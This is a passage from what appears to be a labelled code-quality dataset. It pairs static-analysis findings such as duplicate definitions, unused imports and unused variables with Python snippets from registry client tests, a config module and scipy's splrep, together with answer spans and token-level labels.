[ { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n dt1 = datetime.datetime.utcnow() - datetime.timedelta(1)\n iso1 = utils.isotime(dt1)\n\n dt2 = datetime.datetime.utcnow() + datetime.timedelta(1)\n iso2 = utils.isotime(dt2)\n\n dt3 = datetime.datetime.utcnow() + datetime.timedelta(2)\n iso3 = utils.isotime(dt3)\n\n dt4 = datetime.datetime.utcnow() + datetime.timedelta(3)\n iso4 = utils.isotime(dt4)\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'fake image #3',\n 'size': 18,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n db_api.image_destroy(self.context, 3)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'fake image #4',\n 'size': 20,\n 'checksum': None,\n 'created_at': dt3,\n 'updated_at': dt3}\n\n db_api.image_create(self.context, extra_fixture)\n\n # Check a standard list, 4 images in db (2 deleted)\n images = self.client.get_images_detailed(filters={})\n self.assertEquals(len(images), 2)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID2)\n\n # Expect 3 images (1 deleted)\n filters = {'changes-since': iso1}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 3)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID3) # deleted\n self.assertEqual(images[2]['id'], UUID2)\n\n # Expect 1 images (0 deleted)\n filters = {'changes-since': iso2}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n self.assertEqual(images[0]['id'], UUID4)\n\n # Expect 0 images (0 deleted)\n filters = {'changes-since': iso4}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 0)", "metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 808 }, { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by changes-since\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_min': 20})\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertTrue(image['size'] >= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 874 }, { "content": " def test_get_member_images(self):\n \"\"\"Tests getting image members\"\"\"\n memb_list = self.client.get_image_members(UUID2)\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestClient.test_get_member_images", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1958 }, { "content": " def test_get_member_images(self):\n \"\"\"Tests getting member images\"\"\"\n memb_list = self.client.get_member_images('pattieblack')\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestClient.test_get_member_images", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1970 } ]
[ { "span": "test_get_image_details_with_changes_since(", "start_line": 808, "start_column": 8, "end_line": 808, "end_column": 49 }, { "span": "test_get_member_images(", "start_line": 1958, "start_column": 8, "end_line": 1958, "end_column": 30 } ]
[ { "span": "test_get_image_details_with_changes_since(", "start_line": 874, "start_column": 8, "end_line": 874, "end_column": 49 }, { "span": "test_get_member_images(", "start_line": 1970, "start_column": 8, "end_line": 1970, "end_column": 30 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "min", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "1_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "-_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "1_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "2_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "2_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "3_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "3_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "4_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "4_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "18_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "destroy_", "(_", "self_", "._", "context_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "dt", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "dt", "3_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "a", " ", "standard", " ", "list", ",", " ", "4", " ", "images", " ", "in", " ", "db", " ", "(", "2", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "3", " ", "images", " ", "(", "1", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "#", " ", "deleted_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "1", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "2_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "0", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "4_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "change", "s", "-", "sinc", "e", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "min", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", ">=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "member", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "members_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "member", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "member", " ", "images", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "member", "\\u", "images_", "(_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
bcoe/smtproutes/smtproutes/config/__init__.py
[ { "content": "import log\nfrom log import LOG_NAME", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import log", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 10 }, { "span": "from log import LOG_NAME", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 24 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "log_", "import_", "LOG", "\\u", "NAME_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 1, 1, 1, 1 ]
Unused local variable
scipy/scipy/scipy/interpolate/fitpack.py
[ { "content": "def splrep(x, y, w=None, xb=None, xe=None, k=3, task=0, s=None, t=None,\n full_output=0, per=0, quiet=1):\n \"\"\"\n Find the B-spline representation of 1-D curve.\n\n Given the set of data points ``(x[i], y[i])`` determine a smooth spline\n approximation of degree k on the interval ``xb <= x <= xe``.\n\n Parameters\n ----------\n x, y : array_like\n The data points defining a curve y = f(x).\n w : array_like, optional\n Strictly positive rank-1 array of weights the same length as x and y.\n The weights are used in computing the weighted least-squares spline\n fit. If the errors in the y values have standard-deviation given by the\n vector d, then w should be 1/d. Default is ones(len(x)).\n xb, xe : float, optional\n The interval to fit. If None, these default to x[0] and x[-1]\n respectively.\n k : int, optional\n The degree of the spline fit. It is recommended to use cubic splines.\n Even values of k should be avoided especially with small s values.\n 1 <= k <= 5\n task : {1, 0, -1}, optional\n If task==0 find t and c for a given smoothing factor, s.\n\n If task==1 find t and c for another value of the smoothing factor, s.\n There must have been a previous call with task=0 or task=1 for the same\n set of data (t will be stored an used internally)\n\n If task=-1 find the weighted least square spline for a given set of\n knots, t. These should be interior knots as knots on the ends will be\n added automatically.\n s : float, optional\n A smoothing condition. The amount of smoothness is determined by\n satisfying the conditions: sum((w * (y - g))**2,axis=0) <= s where g(x)\n is the smoothed interpolation of (x,y). The user can use s to control\n the tradeoff between closeness and smoothness of fit. Larger s means\n more smoothing while smaller values of s indicate less smoothing.\n Recommended values of s depend on the weights, w. If the weights\n represent the inverse of the standard-deviation of y, then a good s\n value should be found in the range (m-sqrt(2*m),m+sqrt(2*m)) where m is\n the number of datapoints in x, y, and w. default : s=m-sqrt(2*m) if\n weights are supplied. s = 0.0 (interpolating) if no weights are\n supplied.\n t : array_like, optional\n The knots needed for task=-1. If given then task is automatically set\n to -1.\n full_output : bool, optional\n If non-zero, then return optional outputs.\n per : bool, optional\n If non-zero, data points are considered periodic with period x[m-1] -\n x[0] and a smooth periodic spline approximation is returned. Values of\n y[m-1] and w[m-1] are not used.\n quiet : bool, optional\n Non-zero to suppress messages.\n This parameter is deprecated; use standard Python warning filters\n instead.\n\n Returns\n -------\n tck : tuple\n (t,c,k) a tuple containing the vector of knots, the B-spline\n coefficients, and the degree of the spline.\n fp : array, optional\n The weighted sum of squared residuals of the spline approximation.\n ier : int, optional\n An integer flag about splrep success. Success is indicated if ier<=0.\n If ier in [1,2,3] an error occurred but was not raised. Otherwise an\n error is raised.\n msg : str, optional\n A message corresponding to the integer flag, ier.\n\n Notes\n -----\n See splev for evaluation of the spline and its derivatives.\n\n The user is responsible for assuring that the values of *x* are unique.\n Otherwise, *splrep* will not return sensible results.\n\n See Also\n --------\n UnivariateSpline, BivariateSpline\n splprep, splev, sproot, spalde, splint\n bisplrep, bisplev\n\n Notes\n -----\n See splev for evaluation of the spline and its derivatives. Uses the\n FORTRAN routine curfit from FITPACK.\n\n If provided, knots `t` must satisfy the Schoenberg-Whitney conditions,\n i.e., there must be a subset of data points ``x[j]`` such that\n ``t[j] < x[j] < t[j+k+1]``, for ``j=0, 1,...,n-k-2``.\n\n References\n ----------\n Based on algorithms described in [1]_, [2]_, [3]_, and [4]_:\n\n .. [1] P. Dierckx, \"An algorithm for smoothing, differentiation and\n integration of experimental data using spline functions\",\n J.Comp.Appl.Maths 1 (1975) 165-184.\n .. [2] P. Dierckx, \"A fast algorithm for smoothing data on a rectangular\n grid while using spline functions\", SIAM J.Numer.Anal. 19 (1982)\n 1286-1304.\n .. [3] P. Dierckx, \"An improved algorithm for curve fitting with spline\n functions\", report tw54, Dept. Computer Science,K.U. Leuven, 1981.\n .. [4] P. Dierckx, \"Curve and surface fitting with splines\", Monographs on\n Numerical Analysis, Oxford University Press, 1993.\n\n Examples\n --------\n\n >>> import matplotlib.pyplot as plt\n >>> from scipy.interpolate import splev, splrep\n >>> x = np.linspace(0, 10, 10)\n >>> y = np.sin(x)\n >>> tck = splrep(x, y)\n >>> x2 = np.linspace(0, 10, 200)\n >>> y2 = splev(x2, tck)\n >>> plt.plot(x, y, 'o', x2, y2)\n >>> plt.show()\n\n \"\"\"\n if task <= 0:\n _curfit_cache = {}\n x, y = map(atleast_1d, [x, y])\n m = len(x)\n if w is None:\n w = ones(m, float)\n if s is None:\n s = 0.0\n else:\n w = atleast_1d(w)\n if s is None:\n s = m - sqrt(2*m)\n if not len(w) == m:\n raise TypeError('len(w)=%d is not equal to m=%d' % (len(w), m))\n if (m != len(y)) or (m != len(w)):\n raise TypeError('Lengths of the first three arguments (x,y,w) must '\n 'be equal')\n if not (1 <= k <= 5):\n raise TypeError('Given degree of the spline (k=%d) is not supported. '\n '(1<=k<=5)' % k)\n if m <= k:\n raise TypeError('m > k must hold')\n if xb is None:\n xb = x[0]\n if xe is None:\n xe = x[-1]\n if not (-1 <= task <= 1):\n raise TypeError('task must be -1, 0 or 1')\n if t is not None:\n task = -1\n if task == -1:\n if t is None:\n raise TypeError('Knots must be given for task=-1')\n numknots = len(t)\n _curfit_cache['t'] = empty((numknots + 2*k + 2,), float)\n _curfit_cache['t'][k+1:-k-1] = t\n nest = len(_curfit_cache['t'])\n elif task == 0:\n if per:\n nest = max(m + 2*k, 2*k + 3)\n else:\n nest = max(m + k + 1, 2*k + 3)\n t = empty((nest,), float)\n _curfit_cache['t'] = t\n if task <= 0:\n if per:\n _curfit_cache['wrk'] = empty((m*(k + 1) + nest*(8 + 5*k),), float)\n else:\n _curfit_cache['wrk'] = empty((m*(k + 1) + nest*(7 + 3*k),), float)\n _curfit_cache['iwrk'] = empty((nest,), intc)\n try:\n t = _curfit_cache['t']\n wrk = _curfit_cache['wrk']\n iwrk = _curfit_cache['iwrk']\n except KeyError:\n raise TypeError(\"must call with task=1 only after\"\n \" call with task=0,-1\")\n if not per:\n n, c, fp, ier = dfitpack.curfit(task, x, y, w, t, wrk, iwrk,\n xb, xe, k, s)\n else:\n n, c, fp, ier = dfitpack.percur(task, x, y, w, t, wrk, iwrk, k, s)\n tck = (t[:n], c[:n], k)\n if ier <= 0 and not quiet:\n _mess = (_iermess[ier][0] + \"\\tk=%d n=%d m=%d fp=%f s=%f\" %\n (k, len(t), m, fp, s))\n warnings.warn(RuntimeWarning(_mess))\n if ier > 0 and not full_output:\n if ier in [1, 2, 3]:\n warnings.warn(RuntimeWarning(_iermess[ier][0]))\n else:\n try:\n raise _iermess[ier][1](_iermess[ier][0])\n except KeyError:\n raise _iermess['unknown'][1](_iermess['unknown'][0])\n if full_output:\n try:\n return tck, fp, ier, _iermess[ier][0]\n except KeyError:\n return tck, fp, ier, _iermess['unknown'][0]\n else:\n return tck", "metadata": "root.splrep", "header": "['module', '___EOS___']", "index": 317 } ]
[ { "span": "nest ", "start_line": 478, "start_column": 8, "end_line": 478, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "spl", "rep_", "(_", "x_", ",_", "y_", ",_", "w_", "=_", "None_", ",_", "xb_", "=_", "None_", ",_", "xe_", "=_", "None_", ",_", "k_", "=_", "3_", ",_", "task_", "=_", "0_", ",_", "s_", "=_", "None_", ",_", "t_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "full", "\\u", "output_", "=_", "0_", ",_", "per_", "=_", "0_", ",_", "quiet_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fin", "d", " ", "the", " ", "B", "-", "spline", " ", "represent", "ation", " ", "of", " ", "1", "-", "D", " ", "curve", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Give", "n", " ", "the", " ", "set", " ", "of", " ", "data", " ", "points", " ", "``", "(", "x", "[", "i", "],", " ", "y", "[", "i", "])", "``", " ", "dete", "rmin", "e", " ", "a", " ", "smooth", " ", "spline", "\\", "10", ";", " ", " ", " ", " ", "approx", "imat", "ion", " ", "of", " ", "degr", "ee", " ", "k", " ", "on", " ", "the", " ", "interval", " ", "``", "xb", " ", "<=", " ", "x", " ", "<=", " ", "xe", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "x", ",", " ", "y", " ", ":", " ", "array", "\\u", "like", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "data", " ", "points", " ", "defini", "ng", " ", "a", " ", "curve", " ", "y", " ", "=", " ", "f", "(", "x", ").", "\\", "10", ";", " ", " ", " ", " ", "w", " ", ":", " ", "array", "\\u", "like", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "Stri", "ctl", "y", " ", "posit", "ive", " ", "rank", "-1", " ", "array", " ", "of", " ", "weight", "s", " ", "the", " ", "same", " ", "length", " ", "as", " ", "x", " ", "and", " ", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "weight", "s", " ", "are", " ", "used", " ", "in", " ", "compu", "ting", " ", "the", " ", "weight", "ed", " ", "leas", "t", "-", "square", "s", " ", "spline", "\\", "10", ";", " ", " ", " ", " ", "fit", ".", " ", "If", " ", "the", " ", "error", "s", " ", "in", " ", "the", " ", "y", " ", "values", " ", "have", " ", "standard", "-", "deviation", " 